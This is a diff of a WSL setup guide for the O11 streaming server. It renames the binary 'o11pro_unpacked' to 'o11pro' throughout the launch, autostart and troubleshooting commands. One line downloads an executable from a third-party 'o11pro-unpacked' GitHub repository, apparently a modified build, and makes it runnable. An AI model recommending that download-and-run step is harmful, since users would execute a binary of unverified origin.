@@ -422,7 +422,7 @@ This is the most reliable method for auto-starting O11 when Windows boots.
- Program/script: `wsl`
- Add arguments:
```
-d Ubuntu -u YOUR_LINUX_USERNAME -- bash -c "cd ~/o11 && ./o11pro_unpacked -p 8080 -user admin -password mypass -path ~/o11/data -stdout >> ~/o11/o11.log 2>&1"
-d Ubuntu -u YOUR_LINUX_USERNAME -- bash -c "cd ~/o11 && ./o11pro -p 8080 -user admin -password mypass -path ~/o11/data -stdout >> ~/o11/o11.log 2>&1"
```
- Click OK
@@ -441,7 +441,7 @@ Open Notepad and save this as `C:\o11-start.ps1`:
```powershell
# Start O11 in WSL
wsl -d Ubuntu -u YOUR_LINUX_USERNAME -- bash -c "cd ~/o11 && nohup ./o11pro_unpacked -p 8080 -user admin -password mypass -path ~/o11/data >> ~/o11/o11.log 2>&1 & echo $! > ~/o11/o11.pid"
wsl -d Ubuntu -u YOUR_LINUX_USERNAME -- bash -c "cd ~/o11 && nohup ./o11pro -p 8080 -user admin -password mypass -path ~/o11/data >> ~/o11/o11.log 2>&1 & echo $! > ~/o11/o11.pid"
# Wait for O11 to start
Start-Sleep -Seconds 3
@@ -516,7 +516,7 @@ sudo cp /etc/letsencrypt/live/o11.example.com/privkey.pem ~/o11/server.key
Start with HTTPS:
```bash
./o11pro_unpacked -p 8443 -https -user admin -password mypass -path ~/o11/data
./o11pro -p 8443 -https -user admin -password mypass -path ~/o11/data
```
> **Note for WSL**: Windows Firewall will prompt you to allow the connection. Click **Allow**.
@@ -582,7 +582,7 @@ echo "tmpfs /home/YOUR_LINUX_USERNAME/o11/data/hls/live tmpfs defaults,size=512m
> If you skip RAMFS, use the `-noramfs` flag when starting O11:
> ```bash
> ./o11pro_unpacked -p 8080 -noramfs -path ~/o11/data
> ./o11pro -p 8080 -noramfs -path ~/o11/data
> ```
### WSL Memory Limits
@@ -651,7 +651,7 @@ If your `C:` drive is small, you can point `-path` to a Windows drive:
mkdir -p /mnt/d/o11-data
# Start O11 with data on Windows drive
./o11pro_unpacked -p 8080 -path /mnt/d/o11-data -user admin -password mypass
./o11pro -p 8080 -path /mnt/d/o11-data -user admin -password mypass
```
> **Performance note**: WSL filesystem (`~/o11/`) is faster than Windows drives (`/mnt/d/`). For best performance, keep the binary and live HLS segments in WSL, and use Windows drives only for VOD downloads and recordings.
@@ -663,15 +663,15 @@ mkdir -p /mnt/d/o11-data
### "Permission denied" when running the binary
```bash
chmod +x ~/o11/o11pro_unpacked
chmod +x ~/o11/o11pro
```
If still failing, check if the file is on a Windows drive (NTFS doesn't support Linux permissions):
```bash
# Move to WSL filesystem
mv /mnt/c/Users/.../o11pro_unpacked ~/o11/
chmod +x ~/o11/o11pro_unpacked
mv /mnt/c/Users/.../o11pro ~/o11/
chmod +x ~/o11/o11pro
```
### "cannot execute binary file: Exec format error"
@@ -701,7 +701,7 @@ kill -9 <PID>
Or use a different port:
```bash
./o11pro_unpacked -p 8081 -path ~/o11/data
./o11pro -p 8081 -path ~/o11/data
```
### Can't access from Windows browser
@@ -711,7 +711,7 @@ Or use a different port:
3. Try the WSL IP directly: `http://$(wsl hostname -I).Trim():8080`
4. If using a specific bind address, try `-b 0.0.0.0`:
```bash
./o11pro_unpacked -p 8080 -b 0.0.0.0 -path ~/o11/data
./o11pro -p 8080 -b 0.0.0.0 -path ~/o11/data
```
### WSL keeps shutting down O11 when terminal closes
@@ -719,7 +719,7 @@ Or use a different port:
Use `nohup`, `screen`, or `systemd` as described in Step 7. The `nohup` method is simplest:
```bash
nohup ./o11pro_unpacked -p 8080 -path ~/o11/data >> ~/o11/o11.log 2>&1 &
nohup ./o11pro -p 8080 -path ~/o11/data >> ~/o11/o11.log 2>&1 &
```
### FFmpeg not found
@@ -730,7 +730,7 @@ which ffmpeg
# Should output: /usr/bin/ffmpeg
# If using a custom path:
./o11pro_unpacked -p 8080 -f /usr/bin/ffmpeg -path ~/o11/data
./o11pro -p 8080 -f /usr/bin/ffmpeg -path ~/o11/data
```
### WSL port forwarding resets after reboot
@@ -754,14 +754,14 @@ netsh interface portproxy add v4tov4 address=0.0.0.0 port=8080 connectaddress=$w
```bash
cd ~/o11
./o11pro_unpacked -p 8080 -user admin -password mypass -path ~/o11/data
./o11pro -p 8080 -user admin -password mypass -path ~/o11/data
```
### Start in Background
```bash
cd ~/o11
nohup ./o11pro_unpacked -p 8080 -user admin -password mypass -path ~/o11/data >> ~/o11/o11.log 2>&1 &
nohup ./o11pro -p 8080 -user admin -password mypass -path ~/o11/data >> ~/o11/o11.log 2>&1 &
echo $! > ~/o11/o11.pid
```
@@ -787,14 +787,14 @@ ps aux | grep o11pro
```bash
cd ~/o11
wget https://github.com/Ap0dexMe0/o11pro-unpacked/releases/latest/download/o11pro_unpacked -O o11pro_unpacked
chmod +x o11pro_unpacked
wget https://github.com/Ap0dexMe0/o11pro-unpacked/releases/latest/download/o11pro -O o11pro
chmod +x o11pro
```
### Complete Start with All Options
```bash
./o11pro_unpacked \
./o11pro \
-p 8080 \
-streamport 9090 \
-epgport 9091 \